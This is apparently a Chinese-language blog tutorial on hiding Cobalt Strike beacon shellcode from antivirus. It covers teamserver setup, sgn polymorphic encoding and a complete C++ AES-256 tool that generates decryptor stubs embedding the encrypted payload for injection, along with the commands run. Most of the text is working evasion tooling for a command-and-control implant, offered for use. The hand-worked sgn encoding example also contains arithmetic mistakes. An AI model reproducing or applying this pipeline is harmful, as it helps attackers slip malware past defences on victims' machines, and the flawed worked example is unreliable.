Cobalt Strike 免杀

2026-10-07 05:46:07

CoblatStrike

Cobalt Strike(简称为CS)是一款基于java的渗透测试工具
https://www.cobaltstrike.com/

Server启动

先在虚拟机中启动CoblatStrike server端服务
需要 java环境

1
sudo apt install -y openjdk-17-jdk

启动

1
2
cd ~/下载/c2/CobaltStrike4.8/Server
sudo ./teamserver 172.16.124.128 misaki

image.png
50050 为端口号

Client

宿主机也需要java的环境
由于文件中的bat是win的启动脚本,这边宿主机系统是arch 让ai帮我改为适配本机环境的

Client/cobaltstrike.sh

1
2
3
4
5
6
java -Dfile.encoding=UTF-8 -Duser.language=zh -Duser.country=CN \
-XX:ParallelGCThreads=4 \
-XX:+AggressiveHeap \
-XX:+UseParallelGC \
-javaagent:uHook.jar \
-jar cobaltstrike-client.jar "$@"


主要修改的是 Host、Port、Password

image.png
核对是否与Server端的哈希值一致

image.png

静态免杀

shellcode加密

这边使用 sgn 混淆加密
https://github.com/EgeBalci/sgn
SGN(仕方がない,”没办法”)是一个多态 shellcode 编码器,目标是让静态分析无法检测出”解码器 stub 的存在”。
把两层可逆变换拆开:ADFL 处理主体字节,Schema 处理内层解码头部。生成时由内向外包装,运行时由外向内恢复。

安装 sgn

1
cargo install sgn

加密逻辑

输入准备

把 G₀ 前置到原始数据,safe 模式才追加恢复后缀
组成 G₀ || 原始输入 || 可选恢复后缀

ADFL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// encoder.rs:84
pub fn new(arch: u32) -> Result<Self, Error> {
if arch != 32 && arch != 64 {
return Err(Error::InvalidArchitecture(arch));
}
Ok(Encoder {
architecture: arch, // 架构 (32/64)
obfuscation_limit: 50, // 垃圾指令最大字节数
plain_decoder: false, // 是否不编码 stub (--plain)
seed: random_byte(), // 随机生成 1 字节 ADFL seed (0-255)
encoding_count: 1, // 编码次数 (--enc)
save_registers: false, // 是否保存寄存器 (-S)
})
}
```
seed: 1 字节随机值,作为 ADFL 密码的起始密钥

当前字节 XOR,明文字节反馈到密钥
设原始字节为 P、密文字节为 C,当前 8 位密钥为 K。每处理一个字节

编码:C[i] = P[i] XOR K
更新:K = (K + P[i]) mod 256

解码:P[i] = C[i] XOR K
更新:K = (K + P[i]) mod 256

共同顺序:i = n−1, n−2, …, 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
ADFL 的加密与解密都从最后一个字节走到第一个

##### 例

| index 0 | index 1 | index 2 | index 3 |
| ------- | ------- | ------- | ------- |
| 0x10 | 0x20 | 0x30 | 0x40 |
Seed=0x7B
第一轮我们现对 index 3进行处理
P=0x40
K=0x78
C=0x40 xor 0x78 =0x3B
下一个 K=(0x40+0x7B) & 0xFF =`0xBB`

第二轮
P=0x30
K=0xBB
C=0x30 xor 0xBB = 0x8B
下一个 K=(0x30+0xBB) & 0xFF =`0xEB`

第三轮
P=0x20
K=0xEB
C=0x20 xor 0xEB = 0xCB
下一个 K=(0x20+0xEB) & 0xFF =`0x0B`

第四轮
P=0x10
K=0x0B
C=0x10 xor 0x0B = 0x1B
下一个 K=(0x10+0x1B) & 0xFF =`0x1B`


最终:

| index 0 | index 1 | index 2 | index 3 |
| ------- | ------- | ------- | ------- |
| 0x1B | 0xCB | 0x8B | 0x3B |

#### Schema
每 4 字节一个独立的可逆操作
`Schema = Vec<SchemaOp>`。它不是把六种操作依次施加到每一块,而是每个 DWORD 随机选择一种操作。操作名代表解码端要做什么,编码端做其逆运算。
![image.png](https://misakiimg.oss-cn-shanghai.aliyuncs.com/img/20260927225355.png)
Schema 是按小端序计算的

例:

| index 0 | index 1 | index 2 | index 3 |
| ------- | ------- | ------- | ------- |
| 0x10 | 0x20 | 0x30 | 0x40 |
小端读取:
`10 20 30 40 → 0x40302010`

设编码为 Add(K)、k=0x1
编码端为:v − k=0x40302010-0x1=0x4030200F
解码端为:c + k=0x4030200F+0x1=0x40302010
执行 Add 解码操作后:
`0x40302010 → 10 20 30 40`

Schema 作用于 `G₁ || D_ADFL || C_ADFL` 的前 B 个 DWORD。因此一定覆盖头部 H,并额外越过头部边界 1–4 字节,覆盖主体密文开头或必要的填充。H 即便能被 4 整除,也会多覆盖 4 字节
例:
H = 9;块数 = 3;覆盖 12 字节;额外覆盖 3 字节
H = 10;块数 = 3;覆盖 12 字节;额外覆盖 2 字节
以此类推

### 解码顺序
#### 先解 Schema,再解 ADFL
![image.png](https://misakiimg.oss-cn-shanghai.aliyuncs.com/img/20260927230628.png)
最外层 Schema 解码代码在数据后方,入口 CALL 跳过数据去执行它,并非所有解码代码都直接放在文件最前端
**1.** 入口 CALL 跳到5,同时把2的地址压栈。
**2.** 5中的 POP 取出地址作为 base;偏移从垃圾前缀长度开始,逐 字节 恢复 Schema
**3.** JMP base 回到2,执行垃圾前缀以及已恢复的 G₁,随后进入 D_ADFL。
**4.** D_ADFL 定位主体、装载 seed 和长度,从最后一个字节逆序还原 G₀ 与原始输入。
**5.** ADFL 循环结束后顺序落入已恢复区域,先执行 G₀,再进入原始输入。这里不是额外再发出一个跳转指令

### sgn总结
静态免杀 sgn混淆,使我们的payload的shellcode 进行加密,并且在运行时可以做到自解密的操作,但是由于需要在运行时自解密那么我们shellcode运行权限要为RWX可读可写可执行


### 生成shellcode
#### 使用cs生成shellcode
![image.png](https://misakiimg.oss-cn-shanghai.aliyuncs.com/img/20260929183223.png)
![image.png](https://misakiimg.oss-cn-shanghai.aliyuncs.com/img/20260929183310.png)
`1_x64.xthread.bin` 是我们需要的shellcode内容

#### sgn混淆
``` bash
sgn \
-i /home/ming/Documents/work/c2/1/1_x64.xthread.bin \
-o /home/ming/Documents/work/c2/sgn_out/beacon.sgn.bin \
-a 64 \
-c 1 \
-v

-i = 1_x64.xthread.bin 、x64 PIC
-o =sgn_out/beacon.sgn.bin 输出
-a 64=架构
-c 1=编码一层
-v =日志

image.png

AES加密

AES加密脚本是让ai写的,只要效果达到了即可
这边建议换编译器不使用VS Studio 自带的MSVC编译器改用GCC ,LLVM,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
// aes_tool.cpp — AES-256-CBC 加密器 + 多语言解密器生成器
//
// 用法:
// aes_tool -i <输入文件> [-o <输出文件>] [-k <key hex32字节>] [-iv <iv hex16字节>]
// [-O <生成目录>] [--cname <basename>]
//
// 产出:
// <out>.bin 加密后的二进制 (PKCS#7 填充)
// <cname>.h C 解密器头文件 (内嵌 key/iv/密文)
// <cname>.c C 解密器实现 (自包含, 无外部依赖)
// <cname>_dec.py Python 解密脚本
//
// 流程配合 SGN 使用: 原始数据 -> AES 加密 -> SGN 编码 -> 注入

#include <cstdint>
#include <cstring>
#include <cstdio>
#include <cstdlib>
#include <string>
#include <vector>
#include <fstream>
#include <random>
#include <iostream>

// ---------------------------------------------------------------------------
// AES-256 (FIPS-197) — 自包含实现, 无外部依赖
// ---------------------------------------------------------------------------

static const uint8_t SBOX[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

static inline uint8_t xtime(uint8_t x) {
return (uint8_t)((x << 1) ^ ((x >> 7) * 0x1b));
}

static inline uint8_t gmul(uint8_t a, uint8_t b) {
uint8_t p = 0;
for (int i = 0; i < 8; i++) {
if (b & 1) p ^= a;
a = xtime(a);
b >>= 1;
}
return p;
}

static void key_expansion(const uint8_t key[32], uint8_t rk[15][16]) {
// FIPS-197 §5.2: Nk=8, Nb=4, Nr=14 → 共 60 个 32-bit 字
uint8_t w[60][4];
for (int i = 0; i < 8; i++)
memcpy(w[i], key + i * 4, 4);

uint8_t rcon = 1;
for (int i = 8; i < 60; i++) {
uint8_t t[4];
memcpy(t, w[i - 1], 4);
if (i % 8 == 0) {
// RotWord + SubWord + Rcon
uint8_t tmp = t[0];
t[0] = t[1]; t[1] = t[2]; t[2] = t[3]; t[3] = tmp;
for (int j = 0; j < 4; j++) t[j] = SBOX[t[j]];
t[0] ^= rcon;
rcon = xtime(rcon);
} else if (i % 8 == 4) {
// 仅 SubWord (AES-256 特有, Nk>6)
for (int j = 0; j < 4; j++) t[j] = SBOX[t[j]];
}
for (int j = 0; j < 4; j++)
w[i][j] = (uint8_t)(w[i - 8][j] ^ t[j]);
}
for (int r = 0; r < 15; r++)
memcpy(rk[r], w[r * 4], 16);
}

static void add_round_key(uint8_t st[16], const uint8_t rk[16]) {
for (int i = 0; i < 16; i++) st[i] ^= rk[i];
}

static void aes_encrypt_block(const uint8_t rk[15][16], uint8_t st[16]) {
add_round_key(st, rk[0]);
for (int round = 1; round <= 14; round++) {
for (int i = 0; i < 16; i++) st[i] = SBOX[st[i]];
// ShiftRows (state is column-major: st[col*4 + row])
uint8_t t;
t = st[1]; st[1] = st[5]; st[5] = st[9]; st[9] = st[13]; st[13] = t;
t = st[2]; st[2] = st[10]; st[10] = t;
t = st[6]; st[6] = st[14]; st[14] = t;
t = st[15]; st[15] = st[11]; st[11] = st[7]; st[7] = st[3]; st[3] = t;
if (round != 14) {
for (int c = 0; c < 4; c++) {
uint8_t* p = st + c * 4;
uint8_t a0 = p[0], a1 = p[1], a2 = p[2], a3 = p[3];
p[0] = (uint8_t)(gmul(a0, 2) ^ gmul(a1, 3) ^ a2 ^ a3);
p[1] = (uint8_t)(a0 ^ gmul(a1, 2) ^ gmul(a2, 3) ^ a3);
p[2] = (uint8_t)(a0 ^ a1 ^ gmul(a2, 2) ^ gmul(a3, 3));
p[3] = (uint8_t)(gmul(a0, 3) ^ a1 ^ a2 ^ gmul(a3, 2));
}
}
add_round_key(st, rk[round]);
}
}

// ---------------------------------------------------------------------------
// CBC + PKCS#7
// ---------------------------------------------------------------------------

static std::vector<uint8_t> aes256_cbc_encrypt(const std::vector<uint8_t>& pt,
const uint8_t key[32],
const uint8_t iv[16]) {
uint8_t rk[15][16];
key_expansion(key, rk);

size_t pad = 16 - (pt.size() % 16);
std::vector<uint8_t> buf = pt;
buf.insert(buf.end(), pad, (uint8_t)pad);

std::vector<uint8_t> ct(buf.size());
uint8_t prev[16];
memcpy(prev, iv, 16);

for (size_t off = 0; off < buf.size(); off += 16) {
uint8_t st[16];
for (int i = 0; i < 16; i++)
st[i] = (uint8_t)(buf[off + i] ^ prev[i]);
aes_encrypt_block(rk, st);
memcpy(prev, st, 16);
memcpy(&ct[off], st, 16);
}
return ct;
}

// ---------------------------------------------------------------------------
// 工具
// ---------------------------------------------------------------------------

static bool parse_hex(const std::string& hex, uint8_t* out, size_t n) {
if (hex.size() != n * 2) return false;
for (size_t i = 0; i < n; i++) {
unsigned v;
if (sscanf(hex.c_str() + i * 2, "%2x", &v) != 1) return false;
out[i] = (uint8_t)v;
}
return true;
}

static std::string to_hex(const uint8_t* d, size_t n) {
static const char* H = "0123456789ABCDEF";
std::string s;
s.reserve(n * 2);
for (size_t i = 0; i < n; i++) {
s += H[d[i] >> 4];
s += H[d[i] & 0xf];
}
return s;
}

// 生成 C 数组字面量, 每行 16 字节
static std::string c_array(const std::string& name, const uint8_t* d, size_t n) {
std::string s = "const unsigned char " + name + "[" + std::to_string(n) + "] = {\n";
for (size_t i = 0; i < n; i++) {
char buf[16];
snprintf(buf, sizeof(buf), "0x%02x,", d[i]);
s += buf;
if ((i + 1) % 16 == 0 && i + 1 < n) s += "\n";
}
if (n % 16 != 0) s += "\n";
s += "};\n";
return s;
}

// ---------------------------------------------------------------------------
// 解密器代码生成
// ---------------------------------------------------------------------------

static std::string gen_c_header(const std::string& guard) {
std::string s;
s += "/* Auto-generated by aes_tool - AES-256-CBC decryptor (self-contained) */\n";
s += "#ifndef " + guard + "\n";
s += "#define " + guard + "\n\n";
s += "#include <stddef.h>\n\n";
s += "extern const unsigned char g_key[32];\n";
s += "extern const unsigned char g_iv[16];\n\n";
s += "/* Decrypt embedded payload; returns malloc'd buffer, sets *decode_len.\n";
s += " Caller frees the returned pointer. Returns NULL on failure. */\n";
s += "unsigned char* decrypt_data(int* decode_len);\n\n";
s += "/* Decrypt arbitrary ciphertext buffer into caller-supplied out buffer. */\n";
s += "int decrypt_buffer_core(const unsigned char* cipher, int cipher_len,\n";
s += " unsigned char* out);\n\n";
s += "#endif /* " + guard + " */\n";
return s;
}

static std::string gen_c_source(const uint8_t key[32], const uint8_t iv[16],
const uint8_t* ct, size_t ctlen) {
std::string s;
s += "/* Auto-generated by aes_tool - AES-256-CBC decryptor (self-contained) */\n";
s += "#include <stdlib.h>\n";
s += "#include <string.h>\n";
s += "#include \"" ;
// 头文件名由调用方拼接, 这里用占位
s += "DECRYPT_H_NAME";
s += "\"\n\n";
s += c_array("g_key", key, 32);
s += c_array("g_iv", iv, 16);
s += c_array("g_encrypt_data", ct, ctlen);
s += "\n";
s += R"CPP(
static const unsigned char SBOX[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
};

static unsigned char xtime(unsigned char x) {
return (unsigned char)((x << 1) ^ ((x >> 7) * 0x1b));
}

static unsigned char gmul(unsigned char a, unsigned char b) {
unsigned char p = 0;
for (int i = 0; i < 8; i++) {
if (b & 1) p ^= a;
a = xtime(a);
b >>= 1;
}
return p;
}

static void key_expansion(const unsigned char key[32], unsigned char rk[15][16]) {
// FIPS-197 字级密钥扩展 (Nk=8)
unsigned char w[60][4];
for (int i = 0; i < 8; i++) memcpy(w[i], key + i * 4, 4);
unsigned char rcon = 1;
for (int i = 8; i < 60; i++) {
unsigned char t[4];
memcpy(t, w[i - 1], 4);
if (i % 8 == 0) {
unsigned char tmp = t[0];
t[0] = t[1]; t[1] = t[2]; t[2] = t[3]; t[3] = tmp;
for (int j = 0; j < 4; j++) t[j] = SBOX[t[j]];
t[0] ^= rcon;
rcon = xtime(rcon);
} else if (i % 8 == 4) {
for (int j = 0; j < 4; j++) t[j] = SBOX[t[j]];
}
for (int j = 0; j < 4; j++)
w[i][j] = (unsigned char)(w[i - 8][j] ^ t[j]);
}
for (int r = 0; r < 15; r++) memcpy(rk[r], w[r * 4], 16);
}

static void inv_sub_bytes(unsigned char st[16]) {
/* inverse table built at first use */
static unsigned char inv[256];
static int init = 0;
if (!init) {
for (int i = 0; i < 256; i++) inv[SBOX[i]] = (unsigned char)i;
init = 1;
}
for (int i = 0; i < 16; i++) st[i] = inv[st[i]];
}

static void inv_shift_rows(unsigned char st[16]) {
unsigned char t;
t = st[13]; st[13] = st[9]; st[9] = st[5]; st[5] = st[1]; st[1] = t;
t = st[2]; st[2] = st[10]; st[10] = t;
t = st[6]; st[6] = st[14]; st[14] = t;
t = st[3]; st[3] = st[7]; st[7] = st[11]; st[11] = st[15]; st[15] = t;
}

static void inv_mix_columns(unsigned char st[16]) {
for (int c = 0; c < 4; c++) {
unsigned char* p = st + c * 4;
unsigned char a0 = p[0], a1 = p[1], a2 = p[2], a3 = p[3];
p[0] = (unsigned char)(gmul(a0,14) ^ gmul(a1,11) ^ gmul(a2,13) ^ gmul(a3, 9));
p[1] = (unsigned char)(gmul(a0, 9) ^ gmul(a1,14) ^ gmul(a2,11) ^ gmul(a3,13));
p[2] = (unsigned char)(gmul(a0,13) ^ gmul(a1, 9) ^ gmul(a2,14) ^ gmul(a3,11));
p[3] = (unsigned char)(gmul(a0,11) ^ gmul(a1,13) ^ gmul(a2, 9) ^ gmul(a3,14));
}
}

static void aes_decrypt_block(const unsigned char rk[15][16], unsigned char st[16]) {
for (int i = 0; i < 16; i++) st[i] ^= rk[14][i];
for (int round = 13; round >= 0; round--) {
inv_shift_rows(st);
inv_sub_bytes(st);
for (int i = 0; i < 16; i++) st[i] ^= rk[round][i];
if (round != 0) inv_mix_columns(st);
}
}

int decrypt_buffer_core(const unsigned char* cipher, int cipher_len,
unsigned char* out) {
if (!cipher || !out || cipher_len <= 0 || (cipher_len % 16) != 0)
return -1;
unsigned char rk[15][16];
key_expansion(g_key, rk);

unsigned char prev[16];
memcpy(prev, g_iv, 16);
int blocks = cipher_len / 16;
for (int b = 0; b < blocks; b++) {
unsigned char st[16], cipherblk[16];
memcpy(cipherblk, cipher + b * 16, 16);
memcpy(st, cipherblk, 16);
aes_decrypt_block(rk, st);
for (int i = 0; i < 16; i++)
out[b * 16 + i] = (unsigned char)(st[i] ^ prev[i]);
memcpy(prev, cipherblk, 16);
}
/* strip PKCS#7 padding */
int pad = out[cipher_len - 1];
if (pad < 1 || pad > 16 || pad > cipher_len) return cipher_len;
for (int i = 0; i < pad; i++)
if (out[cipher_len - 1 - i] != (unsigned char)pad) return cipher_len;
return cipher_len - pad;
}

unsigned char* decrypt_data(int* decode_len) {
int n = (int)sizeof(g_encrypt_data);
unsigned char* buf = (unsigned char*)malloc(n);
if (!buf) return NULL;
int plain = decrypt_buffer_core(g_encrypt_data, n, buf);
if (plain < 0) { free(buf); return NULL; }
if (decode_len) *decode_len = plain;
return buf;
}
)CPP";
return s;
}

static std::string gen_python(const uint8_t key[32], const uint8_t iv[16],
const uint8_t* ct, size_t ctlen) {
std::string s;
s += "# Auto-generated by aes_tool - AES-256-CBC decryptor\n";
s += "# 用法: python3 " ;
s += "PLACEHOLDER";
s += "\n#\n# 依赖: pip install pycryptodome (或 cryptography)\n\n";
s += "import sys\n\n";
s += "KEY = bytes.fromhex(\n \"" + to_hex(key, 32) + "\"\n)\n\n";
s += "IV = bytes.fromhex(\n \"" + to_hex(iv, 16) + "\"\n)\n\n";
s += "CIPHERTEXT = bytes.fromhex(\n";
for (size_t i = 0; i < ctlen; i += 32) {
size_t n = std::min<size_t>(32, ctlen - i);
s += " \"" + to_hex(ct + i, n) + "\"\n";
}
s += ")\n\n";
s += R"CPP(
def decrypt(key: bytes, iv: bytes, data: bytes) -> bytes:
"""AES-256-CBC 解密, 自动去除 PKCS#7 填充"""
# 优先使用 pycryptodome
try:
from Crypto.Cipher import AES
raw = AES.new(key, AES.MODE_CBC, iv).decrypt(data)
except ImportError:
# 回退到 cryptography
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
dec = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
raw = dec.decryptor().update(data) + dec.decryptor().finalize()
# 去 PKCS#7
pad = raw[-1]
if 1 <= pad <= 16:
return raw[:-pad]
return raw


if __name__ == "__main__":
plain = decrypt(KEY, IV, CIPHERTEXT)
out = sys.argv[1] if len(sys.argv) > 1 else None
if out:
with open(out, "wb") as f:
f.write(plain)
print(f"[+] {len(plain)} bytes -> {out}")
else:
sys.stdout.buffer.write(plain)
)CPP";
return s;
}

static void replace_all(std::string& s, const std::string& from, const std::string& to) {
size_t pos = 0;
while ((pos = s.find(from, pos)) != std::string::npos) {
s.replace(pos, from.size(), to);
pos += to.size();
}
}

static void usage(const char* argv0) {
fprintf(stderr,
"用法: %s -i <输入文件> [选项]\n"
"\n"
" -i, --input <file> 要加密的输入文件 (必填)\n"
" -o, --out <file> 加密输出文件 (默认 <input>.enc)\n"
" -k, --key <hex64> 32 字节 AES-256 密钥 (hex), 省略则随机生成\n"
" -iv, --iv <hex32> 16 字节 IV (hex), 省略则随机生成\n"
" -O, --outdir <dir> 解密器代码生成目录 (默认当前目录)\n"
" --cname <name> 生成文件的基名 (默认 crypto_decrypt)\n"
" -h, --help 显示帮助\n",
argv0);
}

int main(int argc, char** argv) {
std::string in, out, keyhex, ivhex, outdir = ".", cname = "crypto_decrypt";

for (int i = 1; i < argc; i++) {
std::string a = argv[i];
if (a == "-i" || a == "--input") in = argv[++i];
else if (a == "-o" || a == "--out") out = argv[++i];
else if (a == "-k" || a == "--key") keyhex = argv[++i];
else if (a == "-iv" || a == "--iv") ivhex = argv[++i];
else if (a == "-O" || a == "--outdir") outdir = argv[++i];
else if (a == "--cname") cname = argv[++i];
else if (a == "-h" || a == "--help") { usage(argv[0]); return 0; }
else { fprintf(stderr, "未知参数: %s\n", a.c_str()); usage(argv[0]); return 1; }
}

if (in.empty()) { usage(argv[0]); return 1; }
if (out.empty()) out = in + ".enc";

std::ifstream f(in, std::ios::binary);
if (!f) { fprintf(stderr, "无法打开输入文件: %s\n", in.c_str()); return 1; }
std::vector<uint8_t> pt((std::istreambuf_iterator<char>(f)),
std::istreambuf_iterator<char>());

uint8_t key[32], iv[16];
std::mt19937_64 rng(std::random_device{}());
if (keyhex.empty()) {
for (int i = 0; i < 32; i++) key[i] = (uint8_t)(rng() & 0xff);
} else if (!parse_hex(keyhex, key, 32)) {
fprintf(stderr, "密钥格式错误: 需要 64 个 hex 字符 (32 字节)\n");
return 1;
}
if (ivhex.empty()) {
for (int i = 0; i < 16; i++) iv[i] = (uint8_t)(rng() & 0xff);
} else if (!parse_hex(ivhex, iv, 16)) {
fprintf(stderr, "IV 格式错误: 需要 32 个 hex 字符 (16 字节)\n");
return 1;
}

std::vector<uint8_t> ct = aes256_cbc_encrypt(pt, key, iv);

std::ofstream fo(out, std::ios::binary);
fo.write((const char*)ct.data(), ct.size());
fo.close();

// 生成解密器
std::string hpath = outdir + "/" + cname + ".h";
std::string cpath = outdir + "/" + cname + ".c";
std::string ppath = outdir + "/" + cname + "_dec.py";
std::string guard = cname + "_H";

std::string h = gen_c_header(guard);
std::ofstream fh(hpath);
fh << h;
fh.close();

std::string c = gen_c_source(key, iv, ct.data(), ct.size());
replace_all(c, "DECRYPT_H_NAME", cname + ".h");
std::ofstream fc(cpath);
fc << c;
fc.close();

std::string p = gen_python(key, iv, ct.data(), ct.size());
replace_all(p, "PLACEHOLDER", cname + "_dec.py");
std::ofstream fp(ppath);
fp << p;
fp.close();

// 控制台摘要
printf("\n\033[1;36m========================================\033[0m\n");
printf("\033[1;36m AES-256-CBC 加密完成\033[0m\n");
printf("\033[1;36m========================================\033[0m\n");
printf(" 算法 : AES-256-CBC + PKCS#7\n");
printf(" 输入 : %s (%zu 字节)\n", in.c_str(), pt.size());
printf(" 密文 : %s (%zu 字节)\n", out.c_str(), ct.size());
printf(" KEY (32B) : %s\n", to_hex(key, 32).c_str());
printf(" IV (16B) : %s\n", to_hex(iv, 16).c_str());
printf("\n 生成文件:\n");
printf(" C 头文件 : %s\n", hpath.c_str());
printf(" C 实现 : %s\n", cpath.c_str());
printf(" Python : %s\n", ppath.c_str());
printf("\n 下一步 (SGN 编码):\n");
printf(" sgn -i %s -o %s.sgn -a 64 -c 2 --badchars '\\x00'\n",
out.c_str(), out.c_str());
printf("\033[1;36m========================================\033[0m\n\n");
return 0;
}

这边用的是cpp编译的

1
2
3
4
5
./aes_tool \
-i sgn_out/beacon.sgn.bin \
-o sgn_out/beacon.sgn.enc \
--cname beacon_crypt \
-O sgn_out

image.png

1
2
3
4
5
算法      : AES-256-CBC + PKCS#7
输入 : sgn_out/beacon.sgn.bin (296094 字节)
密文 : sgn_out/beacon.sgn.enc (296096 字节)
KEY (32B) : 59C11D00356457885118246B262B726B9C2FBBD6E54D7517FE7328FAFAF6592C
IV (16B) : 4C49F110EA5CFCF97C9AD19D40C5B9A3

``

动态免杀

Windows异常处理机制

